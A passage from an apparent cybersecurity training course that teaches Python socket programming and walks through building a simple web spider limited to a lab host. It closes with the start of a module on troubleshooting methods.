two parameters: AF_INET and SOCK_STREAM.[166]
The AF_INET parameter specifies that the IP address will be an
IPv4 address. The SOCK_STREAM parameter specifies that the socket
will use a TCP connection. Now that the socket variable is set, we
can connect to a remote server. Let's add the connection code now. For
this demonstration, we'll use the IP address 192.168.50.101 and port
9999.
s.connect(("192.168.50.101", 9999))
Listing 80 - The socket is connected
It is important to note that the IP and port are provided as a
single parameter in the connect() function. Now that we added the
connection code, let's check if the server sends anything to the
client. We can do this with the recv() function.
print(s.recv(1024))
Listing 81 - The data sent from the server will be displayed on the terminal
The receive value of 1024 in the above listing is the buffer size
for the data receipt. This value sets the number of bytes that can
be received from the server. It can be changed to be lower or higher,
up to near 64,000 bytes. Raising our buffer to that size would be
impractical, and 1024 bytes is a fair amount to specify for typical
usage.
After we receive the data from the server, we will close our socket
connection with the close() function. Let's add this and review our
script.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.50.101", 9999))
print(s.recv(1024))
s.close()
Listing 82 - The Python network socket client is complete
Let's execute our script against the remote server to analyze the
result.
kali@kali:~$ ./networkClient.py
b'You are connected.\nGoodbye'
Listing 83 - The client connected to the server, read the incoming data, and closed the connection
Interestingly enough, there is a b before the string of data. The
string also has a newline character[167] and didn't interpret
that as a new line. The b is signifying that the data is in a binary
format. On the server, the data being sent is encoded. We can decode
this data in our client with the decode() function. Let's modify the
print() function to decode the data being received.
print(s.recv(1024).decode())
Listing 84 - The data received will now be decoded
Now that we have decode() added to our print() function, let's
execute the script again.
kali@kali:~$ ./networkClient.py
You are connected.
Goodbye
Listing 85 - The output from the server looks better
The server only sent some data. Of course, most service applications
are much more complex and can take data as input from the client.
The service on port 9999 will be changed to account for the ability
for the client to send data. These are examples that should be read
along with, as opposed to doing the activity. The service that we are
connecting to on port 9999 will be rewritten to show another type of
interaction we can get from services of this nature.
Since the service was changed, let's just send our script to the newly
modified service to analyze what may be on it.
kali@kali:~$ ./networkClient.py
Please send a number to be squared
Listing 86 - The server is now requesting a number be sent
Now, the server is requesting a number to be sent to the socket so it
will be squared and returned. Let's send a number to the server with
the send() function.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.50.101", 9999))
print(s.recv(1024).decode())
s.send("5".encode())
s.close()
Listing 87 - The number is added with the send function and encoded
The number 5 is sent as a string and encoded for the server to
understand the value. Let's execute the script again.
kali@kali:~$ ./networkClient.py
Please send a number to be squared
Listing 88 - The message is the same as before
The message returned from the server is the same as before. This is
due to us not reading any new data that may have been sent as a result
of our number. Let's add another recv() line to our script before
the connection is closed.
kali@kali:~$ cat networkClient.py
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.50.101", 9999))
print(s.recv(1024).decode())
s.send("5".encode())
print(s.recv(1024).decode())
s.close()
Listing 89 - The additional data should be printed
Let's execute the script again to test if the server sends anything
after we sent the number 5.
kali@kali:~$ ./networkClient.py
Please send a number to be squared
25
Listing 90 - The number we sent was squared and returned
In our last execution, the server did accept our number 5 and return
its square, 25.
In this section, we covered how to create a Python network socket
client to send and receive data from a server.
Putting It All Together
This Learning Unit covers the following Learning Objectives:
- Write a program using pseudocode
- Create a program flowchart
- Combine all of the previous sections to make a spider
This Learning Unit will take approximately 180 minutes to complete.
In this section, we'll be creating a program from scratch.
We've covered a lot of material regarding Python scripting. Let's walk
through the development process of writing a complete and functional
script that will leverage many of the concepts we covered.
The script we will be writing is a web spider.[168] Before
we get into working with actual Python scripting, let's define what we
want to create, how we plan to go about it, and write a program in
pseudocode.
Before writing any program, we need to have an idea of what and how
we want to accomplish the task the program will complete. With this in
mind, many programmers don't take the time to organize their programs.
Instead, they jump directly into typing the code with the mindset that
doing anything else would be time wasted. We are not going to adopt
that mentality. We will take the time to organize our plan and write
it in plain language (instead of writing it in the actual programming
language). This is called pseudocode.[169] The time spent
writing our pseudocode will save us time in the long run as we develop
the program.
Let's begin with defining what the goal of our script is.
The script will download a web page, find all of the links on that page, and recursively collect links on the website after following all of the links and display them when complete.
Listing 91 - The goal of our script
This may sound like a cluttered definition. Let's break down what
this program will do. The idea is that the script will be supplied
with a web page to make a request. From there, the script will search
for other links within the web page that was originally requested. It
will store these links in a list and follow each link programmatically
and repeat the process until no unique links are found. If this still
doesn't make sense, that's ok. We'll cover this further as we build
and organize our pseudocode.
Let's get started with our pseudocode and how we might handle each
part of the scripting process. We defined the beginning step already.
1. The script will make a request to a web page - supplied by the user.
Listing 92 - The first step of the program
Next, the script needs to collect any links inside the requested web
page. This can be handled in different ways, but we'll simplify this
to parsing the web page for the "http" string to identify any URLs
on the page. These need to be stored in a list after they are parsed.
Next, let's translate this into pseudocode.
1. The script will make a request to a web page - supplied by the user.
2. The web page requested will be parsed to search for any URLs starting with 'http'.
3. Each found URL will be stored in a list variable.
Listing 93 - The pseduocode is expanded
Now, the script will need to follow each found URL and repeat the
process. There's an issue with our idea though. What if the same URL
is found on multiple of the found URLs in the list? We can create a
dictionary of the URLs with a value of whether they have been searched
or not. In the beginning, no URL, except the URL that was provided
at the beginning of the script execution, should have been followed.
After we have a way to keep track of which URLs have been requested or
not, we need to repeat the request/parse process for each subsequent
page. Let's modify our pseudocode to add these new steps:
1. The script will make a request to a web page - supplied by the user.
2. The web page will be added to a dictionary (isFollowed) with a value of 'yes'.
3. The web page requested will be parsed to search for any URLs starting with 'http'.
4. Each found URL will be stored in a list variable.
5. Each URL in the list variable will be checked against the dictionary (isFollowed) to check if there is a 'yes' entry for that URL link.
6a. If it has already been followed, the URL will not be requested again.
6b. If it has not been followed, the URL will be requested and repeat the above process.
Listing 94 - There's a decision in the pseudocode
Control over the web spider is extremely important. We need to also
accommodate for a scope in our search term. We can add another search
term in our parsing and handle it in a couple of ways. To make sure
we don't create any unnecessary traffic to websites, we'll be writing
this spider for our web server on the Exercise Host. We can filter
URLs that do not end with the last octet of our exercise host. This
will prevent the spider from leaving our website and continuing to
spider websites that may have been referenced within ours.
Let's add this to our pseudocode with the ending action.
1. The script will make a request to a web page - supplied by the user.
2. The web page will be added to a dictionary (isFollowed) with a value of 'yes'.
3. The web page requested will be parsed to search for any URLs starting with 'http' and the last octet of our exercise host IP.
4. Each found URL will be stored in a list variable.
5. Each URL in the list variable will be checked against the dictionary (isFollowed) to check if there is a 'yes' entry for that URL link.
6a. If it has already been followed, the URL will not be requested again.
6b. If it has not been followed, the URL will be requested and repeat the above process.
7. When the process is finished, print the list of URLs to the terminal each on their own line.
Listing 95 - The pseudocode is complete, and we can move on to the next step.
Now that we have our pseudocode finished, let's take a moment to
review what we learned with the following exercises:
To expand our organization into a format we can visualize, we'll begin
creating a flowchart[170] of how we expect our script to
work. This will be translating our already written pseudocode into a
graphical medium.
Unlike writing pseudocode, creating a flowchart for the program may
not be as valuable of an investment in time. Despite this, it can help
us further realize how our program should be structured and translated
into the programming language we are going to use. In our case, we
will be writing a Python script. We can visualize the flow and the
shapes to operations in the programming language. This will become
more apparent as we continue making the flowchart.
For this Module, we'll be using the diagramming application
Lucidchart.[171] There is a free-to-use tier that has
limitations, but it should be fine with our need to create the
flowchart for our web spider. We won't go into the usage of Lucidchart
or other diagramming applications. Instead, we'll simply focus on
translating our pseudocode to a visual format.
As a recap, let's review our pseudocode again.
1. The script will make a request to a web page - supplied by the user.
2. The web page will be added to a dictionary (isFollowed) with a value of 'yes'.
3. The web page requested will be parsed to search for any URLs starting with 'http' and the last octet of our exercise host IP.
4. Each found URL will be stored in a list variable.
5. Each URL in the list variable will be checked against the dictionary (isFollowed) to check if there is a 'yes' entry for that URL link.
6a. If it has already been followed, the URL will not be requested again.
6b. If it has not been followed, the URL will be requested and repeat the above process.
7. When the process is finished, print the list of URLs to the terminal each on their own line.
Listing 96 - The pseudocode we made earlier
Translating this into a flowchart may resemble the following image:
At the beginning of the flowchart, we added a clear starting point in
the diagram. The first thing that we need for the program to succeed
is a target URL, which will be supplied by the end-user. The user may
supply this as a terminal input or as a variable within the script.
Despite having a flowchart, we can decide on the mechanisms handling
these tasks when we program our script later.
After the starting web URL is provided, the program will store this
URL in a URL list. From here, the program will request the webpage.
After the webpage is requested and stored, the URL used will be stored
in a dictionary, called isFollowed, followed by a value of "yes".
After this is stored, the requested webpage will be parsed for any
links that contain "http" in them.
With the webpage filtered for the "http" string in a link, the program
will determine if that link contains the IP address of our host. This
is to keep our spider from wandering outside of our targeted site. If
it does have our target IP address, the link found will be checked in
the URL list we started before. If it is already there, that link will
also be ignored. If it wasn't found, the link will get stored in the
URL list. The page will continue to get parsed for links with "http"
in them and follow this same behavior until all of the links are found
and the appropriate action is taken on them.
When all the links are parsed out of the webpage, the program will
refer to the URL list again. Starting from the beginning of the list,
the program will check if that URL is in the isFollowed dictionary
variable. If the URL is either not in the dictionary or has not had
the value of "yes" set to it, the URL will be used to request that
webpage. It will then follow all of the steps covered above.
In the event the URL is set to "yes" in the isFollowed dictionary,
the next URL list value will be read. This next URL will be checked if
it has been followed as well. These loops will continue until all of
the URL list values have been checked.
When the last URL list value check is complete, the URL list variable
will be printed to the terminal. Once all the discovered links are
printed to the terminal, the application will close.
This concludes our flowchart of the spidering program. Let's move on
to writing the script.
Now that we have our spider program idea in pseudocode and a
flowchart, we'll translate this plan to actual code. Instead of
providing the entire code base and explaining it, let's work through
each step of programming this script as laid out in the flowchart.
This way, we can conduct our scripting tests while writing the
program, instead of having a final solution up front.
As we know, we need to have the start of our program. Let's name our
script webSpider.py and add the shebang line.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
Listing 97 - The program file is started with the shebang
The shebang in this file is a bit different in that the interpreter
is calling on python3 instead of just python. This will ensure that
Python version 3 is used for our script.
According to our flowchart diagram, our first action is to take user
input of a webpage. The simplest way for us to do this is to add a
variable for this value. Let's add a variable called URL and assign
it to our exercise host address. For this demonstration, the address
will be 192.168.50.101.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
URL = "http://192.168.50.101/"
Listing 98 - The initial URL has been set
With the initial URL set, we now need to store this in a URL list
variable. We'll call ours urlList. Instead of creating the urlList
variable with the initial value in it, let's start with setting the
variable with no values and add the URL variable in it.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
URL = "http://192.168.50.101/"
urlList = []
urlList.append(URL)
Listing 99 - The urlList list variable is defined and the URL is added to it
Instead of continuing forward, let's test our current code as written.
The question is, "Are we properly adding the value expected to the
list variable?" The easy way to test this is to print the urlList
variable before and after the append() statement. Let's add this
now.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
URL = "http://192.168.50.101/"
urlList = []
print(urlList)
urlList.append(URL)
print(urlList)
Listing 100 - The debugging print functions are added
With the debugging print functions added, let's execute the script
to make sure the urlList variable is being handled appropriately.
kali@kali:~$ chmod +x webSpider.py
kali@kali:~$ ./webSpider.py
[]
['http://192.168.50.101/']
Listing 101 - The urlList has been appropriately populated
With our test, we now know that the URL value has been added
appropriately to the urlList variable. From here, we need to make a
web request of that URL page and store it in a variable. As we covered
before, to do this, we must import a module called requests. From
there, we can use that module to make the request. We'll store the web
request in a variable called page. For the sake of cleaning up our
code, let's remove those debugging print() functions as well.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
urlList.append(URL)
page = requests.get(URL)
Listing 102 - The requests module is imported and the URL is requested
With the requests module imported in the page variable population,
we can take another moment to debug our program. Let's add a print
statement for the content of the web page after the request to make
sure we are pulling in what we expect.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
urlList.append(URL)
page = requests.get(URL)
print(page.text)
Listing 103 - The debugging print statement is added to verify if the webpage is getting pulled in appropriately
With the debugging print statement in place, let's execute the
script again.
kali@kali:~$ ./webSpider.py
<!doctype html>
<html> <!-- used for the background of entire website -->
<head>
<!-- This cheesy site was made by RedHatAugust -->
<title>The Secret World of MPG</title>
Listing 104 - The page is being shown as expected
Great! This is what we expected. Now, let's remove the debugging
print statement and move on to the next step.
The next step in our flowchart is to store the URL in a dictionary
variable called isFollowed and assign it the value "yes". We'll
approach this the same way as the urlList variable and define the
dictionary at the beginning of our script. From here, we can add the
dictionary entry and its value after the page request. We'll also add
a debugging print statement after the entry to verify the dictionary
is populated correctly.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
urlList.append(URL)
page = requests.get(URL)
isFollowed[URL] = "yes"
print(isFollowed)
Listing 105 - The dictionary variable and entry are added
Let's execute the script to ensure it is working as expected.
kali@kali:~$ ./webSpider.py
{'http://192.168.50.101/': 'yes'}
Listing 106 - The dictionary has the expected values
Perfect! Now we will remove the print statement again and move on to
the next step in our flowchart.
Here, we need to parse the page for any links that have "http"
in them. We will accomplish this by using a for loop with a
split()[172] method. The split() method will separate the
variable based on a newline character. Instead of going back and
forth, let's do this with the debugging built-in to test if we can
iteratively read through each line in the page variable. To do this,
we'll declare a counter variable before the for loop and set the
value to "0". Inside the loop, we will print the counter, the line
in the page variable, then increment the counter variable. For
now, we have not considered the fact we need to search for the "http"
string.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
urlList.append(URL)
page = requests.get(URL)
isFollowed[URL] = "yes"
counter = 0
for line in page.text.split("\n"):
print(counter)
print(line)
counter = counter + 1
Listing 107 - The for loop is created to show each line of the page variable
With this, let's execute our script.
kali@kali:~$ ./webSpider.py
0
<!doctype html>
1
<html> <!-- used for the background of entire website -->
2
3
<head>
4
<!-- This cheesy site was made by RedHatAugust -->
Listing 108 - The loop is able to iterate through each line of the page variable
The goal of this step is to identify any link that has "http" in it.
Let's remove the counter and print of each line and modify the script
to check if "http" is in the line it iterates. We will print only
these lines for this next step.
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
urlList.append(URL)
page = requests.get(URL)
isFollowed[URL] = "yes"
for line in page.text.split("\n"):
if "http" in line:
print(line)
Listing 109 - Each line will be searched for the "http" string and print it if it is found
Let's execute the script.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Crazy_Gaming_Table.jpg" alt="Crazy Tabletop Game Setup!" caption="This is way more than I have ever seen, but this is a wargamer's dream!" width="200px" height="150px">
<!-- Image taken from: https://c2.staticflickr.com/4/3044/2775801876_f168dfcb66_b.jpg -->
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png" width="40px" height="37px" alt="Shhh... It's a secret.">
<!-- Image taken from: http://maxpixel.freegreatpicture.com/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318 -->
Listing 110 - Every line in the page with "http" is printed to the terminal
In the output, there are links that do not contain the IP address of
our host. Let's filter this further with a nested if statement.
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
print(line)
Listing 111 - An additional string check for our IP Address is added under the check for the "http" string
Let's execute the script again to check if the output changes.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Crazy_Gaming_Table.jpg" alt="Crazy Tabletop Game Setup!" caption="This is way more than I have ever seen, but this is a wargamer's dream!" width="200px" height="150px">
<li><a href="http://192.168.50.101/gettingStarted.html">Getting Started</a></li>
<li><a href="http://192.168.50.101/techniques.html">Techniques</a></li>
<li><a href="http://192.168.50.101/tutorials.html">Painting Tutorials</a></li>
<li><a href="http://192.168.50.101/shops.html">Miniature Manufacturers</a></li>
<img class="imgRight" src="http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png" width="40px" height="37px" alt="Shhh... It's a secret.">
Listing 112 - The links are now limited to those that contain the IP address of our target host
Instead of printing the line to the terminal, we need to filter out
the links. We will do this with a start and end index to get the
URL of each line and print that to the terminal. Let's do this the
same way as covered in the Strings and Slicing section of this Module.
start = "http"
end = "\">"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
print(line[line.index(start):line.index(end)] )
Listing 113 - The start and end index parameters are set and the line will be parsed
Let's execute the script and find out if we were able to parse the
links correctly.
kali@kali:~$ ./webSpider.py
Traceback (most recent call last):
File "/home/kali/./webSpider.py", line 20, in <module>
print(line[line.index(start):line.index(end)])
ValueError: substring not found
Listing 114 - The substring failed
The script failed to execute. The error message indicates that
there is an issue with the substring, so our parsing did not work
as intended. Let's debug this issue to review what is going on. To
start, let's print the index values for the start and the end
conditions.
start = "http"
end = "\">"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
print(line)
print(line.index(start))
print(line.index(end))
#print(line[line.index(start):line.index(end)])
Listing 115 - The print functions should indicate where the indexes are being assigned
Let's execute the script again.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
16
Traceback (most recent call last):
File "/home/kali/./webSpider.py", line 22, in <module>
print(line.index(end))
ValueError: substring not found
Listing 116 - The issue appears to be with the end index
The script failed again. The line and the start index were printed
to the terminal, which would indicate that the end index is the
issue. Let's review the link lines again. To save time, only two lines
will be shown in the following listing.
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
Listing 117 - The ending condition is different between the lines displayed
In the example listing above, the URL links have a different ending
condition. With this, we can't create an index condition of "">"
for all lines. Instead, the first line shown above ends the URL link
with a "" " condition. Let's write up a short if/else statement
to check for the potential ending condition and set the end variable
to the found condition.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
print(line)
print(line.index(start))
print(line.index(end))
#print(line[line.index(start):line.index(end)])
Listing 118 - The if/else condition is added to check for the potential ending index value
Let's execute the script again to analyze the difference in output.
kali@kali:~$ ./webSpider.py
<link href="http://192.168.50.101/css/main.css" rel="stylesheet" type="text/css" />
16
50
<li><a href="http://192.168.50.101/index.html" class="current">Home</a></li>
25
73
...
Listing 119 - The script executed without failure
There's a lot of terminal output with the method we used to debug.
Let's cut out all the debugging statements and print the new URL
values to find out if the slicing is working as expected.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
print(line[line.index(start):line.index(end)])
Listing 120 - The debugging lines were removed and we should get the URLs on execution now
Let's execute the script to find the URL results.
kali@kali:~$ ./webSpider.py
http://192.168.50.101/css/main.css
http://192.168.50.101/index.html" class="current
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Crazy_Gaming_Table.jpg" alt="Crazy Tabletop Game Setup!" caption="This is way more than I have ever seen, but this is a wargamer's dream!" width="200px" height="150px
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png" width="40px" height="37px" alt="Shhh... It's a secret.
Listing 121 - There are lines that have more than the URL in the output
So close! There are many URL lines that are correctly sliced, but
there are a few lines that have extra HTML data in them. Let's set
this to a variable and run an additional test on the variable to
determine if there are any quotes (") in the line. If there are, we
can slice the line again with the end variable set to """.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
sliced = line[line.index(start):line.index(end)]
if "\"" in sliced:
end = "\""
print(sliced[sliced.index(start):sliced.index(end)])
else:
print(sliced)
Listing 122 - There is an additional check for quotes (") in the sliced line
If the sliced variable has quotes (") in it, it will be sliced an
additional time with a new end condition for the index. Otherwise,
the program will assume the line was fine and print the sliced
variable without modification.
kali@kali:~$ ./webSpider.py
http://192.168.50.101/css/main.css
http://192.168.50.101/index.html
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Crazy_Gaming_Table.jpg
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png
Listing 123 - The URL lines appear as expected
The output of the parsing algorithm we set appears to be working
now. Now that we have the expected output, we need to refer to the
urlList and add the link if it isn't in the list already. To do
this, let's take a moment away from this section of the code and add
a custom function at the top of our script called checkUrlList. This
function will take a parameter and loop through the urlList list
variable to check if it exists or not. It will then return True or
False based on the search result.
def checkUrlList(URL):
if URL in urlList:
return True
else:
return False
Listing 124 - The function takes an argument and checks each value in the urlList variable for that argument
As we've been doing, let's add debug print functions to test the
function. Let's do this after our first URL is added to the urlList
list. We'll add one print statement that should result in a "True"
return and another that should result in a "False" return.
urlList.append(URL)
print(checkUrlList(URL))
print(checkUrlList("http://www.offsec.com/"))
Listing 125 - The debug print functions are added
Let's execute the script and find out what each debugging statement
returns.
kali@kali:~$ ./webSpider.py
True
False
...
Listing 126 - The returns displayed to the terminal as expected
Now that we validated the checkUrlList function, let's incorporate
it in the http parsing section. If the link is found in the
urlList, it will be ignored. If it is not on the list, it will be
added.
We can remove all the debugging print() functions from the code as
well. Instead of the print functions, let's set the sliced value
to a different variable, called parsedURL. For the sake of brevity,
we'll also add the debugging print statement outside of the loop to
analyze if the sliced URLs were added to the urlList variable.
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
sliced = line[line.index(start):line.index(end)]
if "\"" in sliced:
end = "\""
parsedURL = sliced[sliced.index(start):sliced.index(end)]
else:
parsedURL = sliced
if checkUrlList(parsedURL) == False:
urlList.append(parsedURL)
print(urlList)
Listing 127 - The parsed links should be stored in the urlList list variable
Let's test the script and analyze the output.
kali@kali:~$ ./webSpider.py
['http://192.168.50.101/', 'http://192.168.50.101/css/main.css', 'http://192.168.50.101/index.html', 'http://192.168.50.101/gettingStarted.html', 'http://192.168.50.101/techniques.html', 'http://192.168.50.101/tutorials.html', 'http://192.168.50.101/shops.html', 'http://192.168.50.101/images/Crazy_Gaming_Table.jpg', 'http://192.168.50.101/gettingStarted.html', 'http://192.168.50.101/techniques.html', 'http://192.168.50.101/tutorials.html', 'http://192.168.50.101/shops.html', 'http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png']
Listing 128 - The URL links were added to the list
Now that the links were stored in the urlList variable, we can read
the urlList and compare the values with the isFollowed dictionary.
If the entry doesn't exist, the whole process needs to start over. If
the entry does exist and has a value of "yes", the URL entry will be
skipped.
Let's build another function that will handle checking if a URL is in
the dictionary isFollowed and if there is a value set to "yes" for
that entry. If either one of these conditions is not met, the function
will return False. Let's name the function isFollowedCheck and put
it after our previously written function.
def isFollowedCheck(URL):
for entry in isFollowed.keys():
if URL != entry:
return False
else:
if isFollowed[URL] == "yes":
return True
else:
return False
Listing 129 - The function to check a URL and if the URL was requested
Let's test the function after we previously set the initial URL
variable dictionary value to "yes". Again, we'll test for a True and
a False return.
isFollowed[URL] = "yes"
print(isFollowedCheck(URL))
print(isFollowedCheck("http://www.offsec.com/"))
Listing 130 - The debugging print functions are added after the initial URL was set to "yes" in isFollowed
Let's execute the script to test our function.
kali@kali:~$ ./webSpider.py
True
False
Listing 131 - The function works as expected
With the test of our function complete, we can remove the print()
functions. This is where our flowchart may come in handy. Our entire
script flow is about to change with that loop from determining if the
URL was followed or not. If we analyze the flowchart, the flow of the
program should execute back to the beginning of our request operation.
We can interpret this choice to return to the beginning of our request
operation to be a loop that starts with that. Once the urlList
list variable is exhausted and all links recorded in that list are
followed, the program will continue past the loop. The last thing we
must do is print the urlList list to the terminal. For the sake of
presentation, let's put that in a for loop and print each link on
its own line.
Indentation matters in Python. The entire script will need to be
shifted to the appropriate spacing under the for loop and maintain
the structure of the code already written. Here is our completed
spider script:
kali@kali:~$ cat webSpider.py
#!/usr/bin/python3
import requests
URL = "http://192.168.50.101/"
urlList = []
isFollowed = {}
def checkUrlList(URL):
if URL in urlList:
return True
else:
return False
def isFollowedCheck(URL):
for entry in isFollowed.keys():
if URL != entry:
return False
else:
if isFollowed[URL] == "yes":
return True
else:
return False
urlList.append(URL)
for URL in urlList:
if isFollowedCheck(URL) != True:
page = requests.get(URL)
isFollowed[URL] = "yes"
start = "http"
for line in page.text.split("\n"):
if "http" in line:
if "192.168.50.101" in line:
if "\">" in line:
end = "\">"
else:
end = "\" "
sliced = line[line.index(start):line.index(end)]
if "\"" in sliced:
end = "\""
parsedURL = sliced[sliced.index(start):sliced.index(end)]
else:
parsedURL = sliced
if checkUrlList(parsedURL) == False:
urlList.append(parsedURL)
isFollowed[parsedURL] = "no"
for URL in urlList:
print(URL)
Listing 132 - The script is completed by closing the logic loop through the urlList list variable
To finalize this, let's run the script to determine if our loop was
successful.
kali@kali:~$ ./webSpider.py
http://192.168.50.101/
http://192.168.50.101/css/main.css
http://192.168.50.101/index.html
http://192.168.50.101/gettingStarted.html
http://192.168.50.101/techniques.html
http://192.168.50.101/tutorials.html
http://192.168.50.101/shops.html
http://192.168.50.101/images/Crazy_Gaming_Table.jpg
http://192.168.50.101/images/Painter-Tux-Beret-Art-Artist-Brush-Blotch-Colour-161318.png
Listing 133 - The spider printed out all the pages found on the site
The spider took a moment to complete the iterations and page requests.
When completed, the links are displayed to the terminal output.
Let's take a moment to practice what was covered with the following
exercise.
Troubleshooting
In this Module, we will cover the following Learning Units:
- Introduction to Troubleshooting
- Misaligned Instructions
- A Basic Python Coding Error (user error)
- Fixing a Broken Exploit (VulnHub Kioptrix: Level 1)
- Network Troubleshooting
- Oh no!!! I Accidentally Deleted My File!!!
Each learner moves at their own pace, but this Module should take
approximately 9.5 hours to complete.
Simple Strategies
This Learning Unit covers the following Learning Objectives:
- Identify why troubleshooting skills are valuable
- Adopt a proper mindset
- Understand the value in difficult tasks
- Understand that professionals gain experience through troubleshooting processes
This Learning Unit will take approximately 5 minutes to complete.
No matter what area of information technology, the most critical skill
is the ability to troubleshoot issues as they arise. There is no way
that any single technician, security professional, administrator,
or programmer can know every possible issue that may arise while
working in the industry. This is part of the joys of working in
the information technology field; it is forever changing and often
provides something new to learn. This Module will cover some examples
of issues that may come up during the process of your information
technology career and the methodology for overcoming these issues.
It is important to know that the focus should not be on the issue
itself, but on the process used to overcome those challenges to move
forward with our initial desired task.
Beyond taking a methodical approach to resolving issues, it's also
very important to have a mindset for solving problems and overcoming
challenges. When presented with an issue, it should be considered an
opportunity to solve the challenge and overcome the obstacle. Rather
than getting angry or upset that there is a problem, we should get a
sense of excitement about learning something new and useful.
This may not come naturally to some people, so getting this excitement
may take a while. If anything, step away from the problem, think about
the issue for a while, and return to the challenge ready to try and
learn new things. Some challenges can take a long time to overcome,
as well. The key is not to let frustration take over all our emotions
in the given situation. We don't give up until all our known possible
solutions are exhausted, and we are comfortable with the idea that the
challenge we are facing does not have a viable solution. Spending so
much time on an issue may feel like a waste of time, but through this
experience, we grow and learn. We can carry that knowledge from these
challenges as we move forward in the information technology field.
The experienced members in the IT and security fields have gone
through many issues that they needed to overcome. It is the collection
of knowledge that comes with solving these problems that makes
these people experienced members of the community. If something is
challenging for us, we can trust that the challenge will help us grow
and eventually become an experienced member of the community.
Misaligned Instructions
This Learning Unit covers the following Learning Objectives:
- Understand the approach to handling information that doesn't align
with the system being worked on - Apply steps contextually
This Learning Unit will take approximately 70 minutes to complete.
In many areas of IT, it is common to come across solutions or
instructions that do not align with the system we are working on.
Despite the information not matching our system, we must analyze the
patterns and goals of what is being presented.
Searching Google can be a daily activity when working in IT. Let's
examine an example where things may not align with our current Kali
system. Let's search: "change the IP address on a Linux system."
For the sake of simplicity, let's click the first link[173]
and explore the webpage.
The Table of Contents looks promising as a resource to complete our
goal. There is also a prerequisite section that states we should be
able to execute ip a.
kali@kali:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
